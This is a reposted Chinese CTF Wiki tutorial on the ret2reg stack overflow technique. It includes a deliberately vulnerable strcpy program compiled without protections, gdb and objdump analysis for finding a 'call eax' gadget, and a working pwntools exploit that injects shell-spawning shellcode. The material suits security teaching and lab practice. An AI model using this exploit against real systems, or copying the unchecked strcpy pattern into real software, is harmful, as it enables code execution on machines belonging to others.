[CTF Wiki Pwn]Stackoverflow: ret2reg
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTF Wiki Pwn]Stackoverflow: ret2reg相关的知识,希望对你有一定的参考价值。
1、原理
(1)查看栈溢出返回时哪个寄存器指向缓冲区空间。
(2)查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
(3)将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)。
出现该漏洞的代码的典型特征是:程序中存在strcpy的字符串拷贝函数。
2、生成符合ret2reg的二进制
源程序为:
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[512];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}
编译命令:
gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector
若编译中gcc -m32报错fatal error: sys/cdefs.h: No such file or directory,则采取如下的指令解决,即可生成二进制文件。
sudo apt-get purge libc6-dev
sudo apt-get install libc6-dev
sudo apt-get install libc6-dev-i386
3、checksec
checksec的结果:
该题所有保护机制都没有打开,同时存在RWX的段。
4、利用方法
对照“1、原理”逐项进行分析。
(1)查看栈溢出返回时哪个寄存器指向缓冲区空间。
查看evilfunciton对应的汇编:
0x0804840b <+0>: push ebp
0x0804840c <+1>: mov ebp,esp
0x0804840e <+3>: sub esp,0x208
0x08048414 <+9>: sub esp,0x8
0x08048417 <+12>: push DWORD PTR [ebp+0x8]
0x0804841a <+15>: lea eax,[ebp-0x208]
0x08048420 <+21>: push eax
0x08048421 <+22>: call 0x80482e0 <strcpy@plt>
0x08048426 <+27>: add esp,0x10
0x08048429 <+30>: nop
0x0804842a <+31>: leave
0x0804842b <+32>: ret
ebp+0x8是字符串参数的位置,也是strcpy的src字符串,ebp-0x208的位置是buffer的位置,也是strcpy的dst字符串,lea指令相当于eax = ebp-0x208,即eax指向栈空间。接着我们在0x0804842b设断点,跟到这个位置看看eax是否仍然指向刚才的位置。
gdb ret2reg
set args 123123
b *0x0804842b
r
图中可知,eax仍然指向缓冲区的地址,该值与edx相同。
(2)查找对应的call 寄存器或者jmp 寄存器指令,将EIP设置为该指令地址。
objdump -D -M intel ret2reg | grep 'eax\\|edx' | grep 'call\\|jmp'
列出的l两条结果中,前一条满足,需将EIP设置为0x8048373。
(3)将寄存器所指向的空间上注入shellcode(确保该空间是可以执行的,通常是栈上的)。
使用pwntools直接生成shellcode。
下面给出利用方法的图示:
5、exp
from pwn import *
call_eax = 0x8048373
shellcode = asm(shellcraft.sh())
payload = shellcode + (0x20c-len(shellcode))* 'a'
payload += p32(call_eax)
p = process(argv = ["./ret2reg", payload])
#gdb.attach(p)
p.interactive()
执行后可得到shell:
以上是关于[CTF Wiki Pwn]Stackoverflow: ret2reg的主要内容,如果未能解决你的问题,请参考以下文章
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[ctf wiki pwn] stackoverflow:hctf2016-brop wp
[CTF Wiki Pwn]Stackoverflow Lab002: ret2shellcode
[CTF Wiki Pwn]Stackoverflow Lab003: ret2syscall